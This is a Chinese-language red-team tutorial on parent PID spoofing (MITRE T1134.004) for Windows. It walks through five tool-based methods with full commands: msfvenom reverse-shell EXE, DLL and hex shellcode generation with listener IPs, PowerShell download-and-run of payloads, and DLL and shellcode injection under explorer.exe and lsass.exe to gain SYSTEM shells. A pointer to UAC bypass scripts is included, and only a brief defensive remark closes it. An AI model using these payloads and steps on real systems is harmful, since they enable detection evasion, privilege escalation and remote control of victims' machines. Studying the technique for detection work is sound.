1. 程式人生 > 其它 >紅隊技術-父程序偽裝( MITRE ATT&CK框架:T1134)

紅隊技術-父程序偽裝( MITRE ATT&CK框架:T1134)

 概述

 父程序偽裝是一種訪問令牌操作技術,通過將惡意檔案的PPID指定為explorer.exe等合法程序的PPID,可幫助攻擊者規避啟發式檢測等防禦技術。

 該偽裝可通過使用本地API呼叫來執行,該呼叫可幫助攻擊者顯式指定PID,如C++中的CreateProcess呼叫。正如我們將在本文中看到的那樣,這種顯式分配也可能具有某些附帶好處。

 MITRE 戰術:許可權提升(TA0004)和 防禦規避(TA0005)

 MITRE ATT&CK技術:T1134 :Windows訪問令牌模擬竊取以及利用

 子技術:T1134.004 :訪問令牌操作: 父 PID 欺騙

 背景:

 子程序監控是威脅狩獵中最常見的指標之一。應急響應人員可能會分析如果 conhost.exe

 或 cmd.exe 程序是從 Adobe Reader 或 MS Excel 等零相關的應用生成的,則表明可能存在潛在威脅。安全防護軟體會在啟發式檢測下監控此行為,並向管理員發出警報。

 父PID(PPID)欺騙方法可以繞過 AV/EDR檢測,使其認為是 lsass.exe 這樣的合法程序在進行活動。它通過欺騙程序的 PID 以匹配其父程序的 PID 來做到這一點。這種方法可能帶來的另一個好處是,如果父程序以 SYSTEM 許可權執行,則可以憑藉訪問令牌的繼承,使其子程序也具有相同的 SYSTEM 許可權。

 程序、PID和PPID

 程序:在 Windows 中,應用程式由一個或多個程序組成。簡單來說,當前正在執行的程式的一部分稱為程序。不同的應用程式可能會使用相同的程序(如cmd.exe

),並且為避免歧義,會分配一個整數來區分一個程序和另一個程序。該整數稱為PID

 PID:代表程序識別符號 (PID),它是正在執行的程序的數字表示。 Windows 中通過 GetCurrentProcessID() 函式返回指定程序的 PID

 父程序:父程序是可以派生多個子程序的程序。例如,命令explorer.exe /e,/root,"C:\WINDOWS\System32\cmd.exe"將派生cmd.exe作為父程序explorer.exe的子程序。在程式碼中,父程序可以使用fork()系統呼叫來派生子程序。

 PPID:代表父程序識別符號(PPID),它是提供給父程序的數字表示形式。任何包含子程序的程序都存在父子關係。

 方法一(使用C++程式進行PID欺騙)

 Didier Stevens最初在這裡的帖子中談到了Windows API——"CreateProcess"這種方法。還發布了一個用C++編寫的利用程式(SelectMyParent)。程式碼可以在這裡下載:https://web.archive.org/web/20210225035252/http:/www.didierstevens.com/files/software/SelectMyParent_v0_0_0_1.zip

請注意,如果您使用的是更高版本的Visual Studio,可能需要重新生成此EXE。在Visual Studio2022中,我刪除了Debug and Release資料夾中的SelectMyParent.pdb檔案,並重新生成了專案以使其執行。

 在程序管理器中,你會看到 explorer.exe 在 PID 1624 上執行

 因此,要在這個父 explorer.exe程序下執行我們自己的二進位制檔案,可以像這樣使用 SelectMyParent.exe,你會看到在 PID 1624下建立了一個新程序。

E:\>SelectMyParent.exe notepad 1624

 可以看到在PID 2836啟動了notepad.exe

 同樣,我們也可以執行自己的EXE。讓我們先用msfvenom建立一個可以反彈shellexe

# msfvenom -p windows/shell_reverse_tcp -f exe LHOST=172.19.218.248 LPORT=7777 > shell.exe

 在受感染端,使用tasklist /v檢視程序執行詳情。

 在列表中,可以看到explorer.exe程序以test身份在程序ID 1624上執行。

 然後執行生成的shell.exe,並附屬在explorer.exePID

 監聽端收到的shell便是explorer.exe程序使用者的許可權

 如果利用具有system許可權的程序,即可進行提權。

 方法二(使用Powershell DLL注入進行PID欺騙)

 F-Secure 實驗室利用 powershell 建立了替代上述Didier 二進位制檔案的方案。它也可以用於父程序欺騙,與上述方法不同之處在於,可以將帶有注入的DLL的子程序派生為子程序,功能更強大。程式碼可以在這裡下載https://github.com/countercept/ppid-spoofing,首先在受害者機器上檢視程序ID,這裡我們選擇 Powershell 的 PID 24092 作為父程序ID

 利用msfvenmon生成要注入的DLL

 msfvenom -p windows/x64/shell_reverse_tcp exitfunc=thread LHOST=172.27.115.207 LPORT=7777 -f dll > shell.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 8704 bytes

 然後進行注入:

Import-Module .\PPID-Spoof.ps1
PPID-Spoof -ppid 24092 -spawnto "C:\Windows\System32\notepad.exe" -dllpath .\shell.dll

 可以看到注入的DLLNotepad.exe中載入執行了。

 通過這種方式,PPID 24092上的powershell.exe程序派生了一個帶有插入程式碼(由DLL提供)的notepad.exe

 方法三(使用Powershell 指令碼入進行PID欺騙)

 Decoder-it 根據 Didier Stevens 提供的指南開發了一個 powershell 指令碼,使用了 CreateProcessFromParent()方法,可以在此處找到的psgetsystem指令碼:https://github.com/decoder-it/psgetsystem.git,可用於通過PID欺騙派生子程序。首先我們檢視所需程序的 PID。這裡以lsass.exe為例

 然後執行如下命令:

powershell -ep bypass
Import-Module .\psgetsys.ps1
[MyProcess]::CreateProcessFromParent(520,".\shell.exe","")

 如果報錯,可能是UAC的問題,需要先繞過UAC,或者是許可權過低,需要提權。

 繞過UAC指令碼可以在這裡找到:https://github.com/samratashok/nishang/tree/master/Escalation

 然後下載所需的檔案,然後執行命令

$client=new-object System.Net.WebClient 
$client.DownloadFile("http://<url>/psgetsys.ps1",".\psgetsys.ps1")
$client.DownloadFile("http://<url>/shell.exe",".\shell.exe")
Import-Module .\psgetsys.ps1
[MyProcess]::CreateProcessFromParent(520,".\shell.exe","")

 可以看到在lsass.exe下成功建立了子程序,因為lsass.exesystem許可權,所以反彈shell也獲取到了system許可權。

 方法四(使用C#程式進行PID欺騙)

 py7hagoras開發了GetSystem專案,是上述技術的C#實現,可以在這裡找到:https://github.com/py7hagoras/GetSystem.git

 在目標機上下載GetSystem.exe,然後執行GetSystem.exe 自定義程式 -O 目標程序名

GetSystem.exe shell.exe -O lsass

 注意:這裡可能也需要繞過UAC或者提權,不然執行不成功。

 方法五(通過PID欺騙注入Shellcode)

 Chirag Savla 使用 C#開發了一個名為“ProcessInjection”的出色工具,它可以執行許多功能,包括通過 PID 欺騙進行的程序注入。通過提供有效的 PID,該工具會嘗試使用 CreateProcess 等原生 API呼叫來欺騙 PID,然後將程式碼注入其中。該工具支援 hexC 和 base64 格式的shellcode ,也可以選擇 DLL 注入。工具在這裡下載:https://github.com/3xpl01tc0d3r/ProcessInjection

 首先,使用msfvenom建立一個shellcode程式碼

msfvenom -p windows/x64/shell_reverse_tcp -exitfunc=thread LHOST=172.19.218.248 LPORT=7777 -f hex > /hex.txt

 然後在目標機中下載

 使用ProcessInjection.exe進行注入

ProcessInjection.exe /ppath:"C:\Windows\System32\calc.exe" /path:"hex.txt" /parentproc:explorer /f:hex /t:1

 引數說明:

 /ppath:目標 EXE 的程序路徑(需要注入程序的路徑)

 /path:shellcode檔案路徑

 /parentproc:父程序名稱,目標EXE應在此程序下生成

 /f:shellcode檔案型別

 /t:注入技術

支援的五種注入方式:

1) Vanilla Process Injection
2) DLL Injection
3) Process Hollowing
4) APC Queue
5) Dynamic Invoke - Vanilla Process Injection

 

 我們可以看到calc.exeexplorer.exe下,而shellcode則在calc.exe中執行。

 也可以進行DLL注入

ProcessInjection.exe /ppath:"C:\Windows\System32\calc.exe" /path:"shell.dll" /parentproc:explorer /t:2
 其他工具

 https://github.com/Mr-Un1k0d3r/RemoteProcessInjection

 https://github.com/xpn/getsystem-offline

 https://github.com/hlldz/APC-PPID

 https://github.com/ewilded/PPID_spoof

 https://github.com/christophetd/spoofing-office-macro (VBA實現)

 在Metasploit中Meterpreter 可以使用migrate命令或者後滲透模組post/windows/manage/migrate也可以實現程序遷移。

 總結

 攻擊者廣泛使用該技術進行檢測規避,並增加了應急響應人員檢測IoC的時間。針對許多過時的和未打補丁的EDR解決方案,可以使用此技術輕鬆規避檢測。通過本文,告訴大家在組織中應該使用最新的EDR解決方案以及在可以捕捉此類技術的優質產品中使用智慧檢測功能的重要性。

 更多靶場實驗練習、網安學習資料,請點選這裡>>